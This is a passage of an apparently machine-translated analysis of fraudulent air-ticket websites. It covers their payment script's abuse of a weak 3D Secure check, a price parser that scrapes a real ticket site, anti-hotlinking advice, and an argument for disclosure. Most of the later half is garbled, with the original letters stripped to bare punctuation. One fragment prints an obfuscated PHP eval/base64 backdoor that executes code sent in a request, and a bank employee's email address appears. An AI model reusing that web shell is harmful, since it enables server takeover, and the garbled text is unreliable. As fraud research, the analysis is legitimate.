that Promsvyazbank’s 3ds.payment.ru service hadn’t likely checked the return of users to its website after successfully entering the 3D Secure code on the websites of banks issuing payer cards. Therefore, payments were made even in the case when fraudulent scripts changed the return page.The bank, which is mentioned many times in this publication, was lucky with free advertising. I think that in reality there are still a sufficient number of such banks. Simply, this is more fortunate that it was chosen first for use on fraudulent sites, and then for analysis in this article. As they say, there are no healthy patients - there are poorly examined.When writing this article, the task to create a combat fraudulent script did not stand. The task was to try to understand how it works or worked, in order to understand the reasons for which "air ticket buyers" could deceive, and draw conclusions from this.This article poses many questions, but does not give all the answers. I am sure that among the readers there will be a sufficient number of advanced users who will be able to more accurately comment on the clinical picture and make a diagnosis. For my part, I tried to present the testimony as fully as possible ...Part of the publication with the analysis of the payment script was completed. Further bonuses for those who could read this far.
Where do cheap airfare prices come from on fraudulent sites?In the previous part of the publication, by indirect signs, it was shown that information on the availability of places and prices is programmatically obtained on some honest website, modified and issued to the user.Sample information on availability and prices on a fraudulent website Now we have the opportunity to look behind the scenes and see how this is implemented in the program code.Here is a place in the code of a fraudulent site, in which we see where the pictures and prices of flights on fraudulent sites come from.
As expected in this series of fraudulent sites, information about availability is taken on an honest site www.aviacassa.ru
. Since the number of airlines and flights is large, it is very difficult to download all the pictures and icons in such an issue in advance, links to such pictures are left directly to the original site.From the received original price for air tickets, the discount is deducted. As previously shown, the owner of a fraudulent site can arbitrarily set a discount amount. The value of the discount is stored in the file aviacfg.php.A more complete piece of code responsible for obtaining information on the availability of places, preparing links to pictures and price changes under the spoiler.Price parser - more complete code Line by line this piece will not be parsed, because it is not the code itself that is important here, but the idea of how and where the real data on air tickets for fraudulent sites come from.The old parser used another site to get data:
Tip for air ticket offices (www.aviacassa.ru)
- you need to close the possibility of links to domain files from an external referrer (referring site). This possibility can be closed to all, without exception, and you can make exceptions only for trusted partners. The NGINX web server, which uses aviacassa, easily allows you to do this. The same recommendation for all similar sites that can be used as “information donors”.If fraudulent sites can not directly link to pictures on sites such as a ticket office, this will complicate their lives. The number of logos and images of various airlines is not known in advance. Even if you try to download pictures in advance, you can skip something, and the fraudulent site will look ugly. Such sites will be forced to download all the pictures to themselves locally on the server with each request, or at least to check whether such a picture was downloaded earlier in the “cache” or not. This increases the load on the scam server and makes the page display slower. In addition, the closure of the ability to link directly to the pictures at one time will make all the current fraudulent sites that use the air ticket information inoperative.Of course, over time, the developers will make the patches. But since the fraudulent sites are not managed centrally, and different people and automatic software update is not provided, each owner of a fraudulent site will have to look for an opportunity to upgrade. Someone will find the updated code, and someone will not find and the site will stop working.Also, the air ticket office may include a separate log for such images in which records of all external referrers (referring sites) will be saved. And in a few days, this log will contain a list of all active fraudulent sites. It is very convenient - instead of trying to find each site separately, you can ask them to enroll in the list (log file).And if there are funny admins in the ticket office, then you can joke ...- NGINX , , «» , URL , . . — « » , -, , , , .
Someone might say that the publication of such articles serves as a training tool for fraudsters, and ask the question, why did I post it here? I answer.
If there is any way to steal money, based on the use of vulnerable or insufficiently protected software, about which at least a few people know and their goal is to make money on it, then an attempt to hide such information and pretend that there are no problems, only leads to even worse consequences. Fraudsters use these methods even more actively, while the banks are satisfied, because they are regularly paid a commission for services and steal money from them. Why should banks change something, if everything is okay? Periodically, only some Internet users are deceived and lose money on fraudulent sites. But who cares?My opinion is that if some “tricky” opportunity to steal money becomes known to a very large number of people, then over time it becomes much more difficult for fraudsters to use it, and organizations that use it become impossible to ignore problems.The payp2.php script and a number of files used on the recent series of fraudulent air ticket sales sites were sent to me by the frozenstorm user . Where he took it, I do not know, - direct all questions on this subject to him directly.But I can say right away that, as it turned out later, it’s not hard to find a complete set of source codes for fraudulent websites selling tickets. It is sought on request "fake tickets." Both main search engines give out links on the first page. A complete set of source codes cost only 25-30 tons of rubles before. After this topic stopped working, non-working source codes, which, according to the seller “easy to finish,” began to cost 10tr. Recently, judging by the messages on the forums, version 2.0 is allegedly on sale again at a price of 25tr.Below, under the spoiler, is an example of a free sale of the source code of a fraudulent ticket sale site at one of the forums.Screenshot forum. (Neat, very long pictures) The forum, which is shown in the screenshot, is openly selling and buying codes of similar fraudulent sites, credit card data, passport data, personal information from state databases, it is proposed to make fake passports, driver's licenses, etc. This is just a short list for example. Those.
with rare exceptions, there is a solid crime. At the same time, the forum administration acts as a guarantor between buyers and sellers. There are several forums like this. All of them work freely for years. All of them are perfectly indexed by search engines (Yandex, Google, etc.). I do not cite the address of a specific forum. They are very easy to find.Since there is a separate person behind each fraudulent air ticket sales site who bought the source code of the site for an inexpensive one, in each particular case you can find a person in charge and this should be done. Not every admin of this fake site is a super professional whose traces are impossible to find. I am sure that among such administrators there are enough those who inherit and, if they have the appropriate authority, can be calculated. But, in my opinion, instead of trying to deal with each fake site separately, you should pay attention to the sites where the sources of such fake sites are distributed freely.In order to deal a crushing blow to fraudulent sites selling fake tickets, you need not so much. If everyone does little by little, this will make life more difficult for fraudsters and may raise the question of the inefficiency of running such a business. We need a little attention from search engines - to prevent such sites from falling into advertisements. Without advertising to break through to such sites in the top of the issue is unrealistic. Also, search engines should exclude from the issue of sites where the purchase and sale of criminal schemes. We need a little attention from banks - to monitor their services related to payment, so that they can not easily use the scammers. Need a little attention from the hosters. We need a bit of attention from payment systems - to begin with, to prevent payments from being made without checking 3D Secure (as shown in the first part of the publication,it is still possible). Need a little attention from law enforcement. Instead of investigating each case of theft of money, it is more effective to act proactively - to deal with the nest, where fraudsters communicate (analyze, for example, the very shadow forums). And of course you need a little attention from potential air ticket buyers themselves.They say that the repair is impossible to finish, but it can only be stopped. With this publication it turns out a similar case. Therefore, although it would be possible to write a lot more, I will stop here. Thanks for attention.
I will be glad to your comments.PS About Jackie Chan ... You can not read, , , , .
, , , , - . . .
fon.png. , , . (merch) . .
. , - , . . .

VISA Mastercard (logo_standart_ru.png):

. , .
parser.php
.
, , , - . , -, «» . (config.php) , . . . . .

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe', '.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',
.
, , , «» .
email, EMAIL. :

3ds.payment.ru
Lakhtin@psbank.ru
.
, ? , - . , , Mastercard 3DS.
https://www.mastercard.us/content/dam/mccom/en-us/documents/SecureCode%20Vendor%20list/3ds-vendor-list-042215.pdf
email . - . - . Those. - , , , - .
, email ? . , -, . , . . , , - - , , .
. , - - email . , , . , . , , , . - , , , email -, - . (, , .. ). , .. . . , -, . , , , , . . , -, , . , , , , .
? , . email , , . . - , - , .
?, , «» 3ds.payment.ru, . , LaravelRUS , Curl 3ds.payment.ru.
, . ? ? ?
, , .



. . - .

:
»
https://gitter.im/LaravelRUS/chat/archives/2016/05/06
— . .
»
http://gitchat.org/developers/Valtas
—
»
https://github.com/Valtas
— Github
»
https://www.fl.ru/tu/57770/parser-internet-magazina.html - .
, , — .
, . , . , .
http://forum.prootzyvy.org/forums/spisok-sajtov-moshennikov-po-prodazhe-aviabiletov.134/336 . , . .
? , . . , . , , , .. , . , , . , - « » . ( ). - 5-10-20 .. , , , . (), , , .
. ?. . , . , . «. ». , . , . . . .
, , . , , -, . , . , , .
, . , . , .
, , . - - . . , .

80 , . , . , . :

56 , « », , .
, , « », , .
:


- -. , . , . . , . , , , .